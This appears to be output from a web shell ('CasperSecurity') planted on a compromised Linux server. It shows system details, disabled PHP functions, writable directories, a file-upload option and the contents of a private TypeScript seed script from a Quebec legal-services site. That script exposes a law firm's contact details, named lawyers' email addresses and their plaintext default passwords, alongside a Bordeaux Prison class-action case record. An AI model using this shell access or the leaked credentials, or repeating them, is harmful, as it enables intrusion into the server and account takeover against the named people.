T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.quebec/private_html/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.quebec/private_html/scripts/seed-adw-team-and-bordeaux.ts
import { prisma } from '../src/lib/prisma';
import bcrypt from 'bcryptjs';

const adwFirm = {
  name: 'ADW Avocats',
  address: '3565, rue Berri, suite 240',
  city: 'Montréal',
  province: 'Québec',
  postalCode: 'H2L 4G3',
  email: 'adw@adwavocats.com',
  phone: '(514) 527-8903',
  website: 'https://www.adwavocats.com',
};

const team = [
  {
    name: 'Justin Wee',
    email: 'justin.wee@adwavocats.com',
    role: 'LAWYER',
    photo: null, // Set to null to use placeholder
    password: 'adwlawyer1',
  },
  {
    name: 'Alain Arsenault',
    email: 'alain.arsenault@adwavocats.com',
    role: 'LAWYER',
    photo: null,
    password: 'adwlawyer2',
  },
  {
    name: 'Virginie Dufresne-Lemire',
    email: 'virginie.dufresne@adwavocats.com',
    role: 'LAWYER',
    photo: null,
    password: 'adwlawyer3',
  },
  // Add more team members as needed, using info from the website
];

const bordeauxCase = {
  title: 'Bordeaux Prison Conditions Class Action',
  description: 'Class action for systemic rights violations at Bordeaux Prison. If you were detained from January 1, 2022 until the final judgment, you may be eligible to join. Contact Justin Wee at ADW Avocats for more information.',
  status: 'active',
  isPublic: true,
  legalArea: 'Human Rights',
  publicSummary: 'Historic class action against Quebec for systemic rights violations at Bordeaux Prison.',
  tags: JSON.stringify(['Bordeaux', 'Class Action', 'Prison Rights', 'Quebec']),
  caseType: 'Class Action',
  jurisdiction: 'Superior Court of Quebec',
};

async function main() {
  // Create law firm
  const firm = await prisma.lawFirm.upsert({
    where: { name: adwFirm.name },
    update: {},
    create: adwFirm,
  });

  // Create team
  for (const member of team) {
    const hashed = await bcrypt.hash(member.password, 10);
    await prisma.user.upsert({
      where: { email: member.email },
      update: {},
      create: {
        email: member.email,
        name: member.name,
        password: hashed,
        role: member.role,
        isActive: true,
        profilePicture: member.photo, // null = placeholder
        lawFirm: { connect: { id: firm.id } },
      },
    });
  }

  // Find Justin Wee
  const justin = await prisma.user.findUnique({ where: { email: 'justin.wee@adwavocats.com' } });

  // Create Bordeaux case
  if (justin) {
    await prisma.legalCase.create({
      data: {
        ...bordeauxCase,
        leadLawyer: { connect: { id: justin.id } },
        creator: { connect: { id: justin.id } },
        firmName: firm.name,
      },
    });
    console.log('Bordeaux case created and linked to Justin Wee and ADW Avocats.');
  } else {
    console.log('Justin Wee not found, cannot link Bordeaux case.');
  }

  console.log('ADW Avocats team and Bordeaux case seeded.');
}

main()
  .catch(e => {
    console.error(e);
    process.exit(1);
  })
  .finally(async () => {
    await prisma.$disconnect();
  }); 

CasperSecurity Mini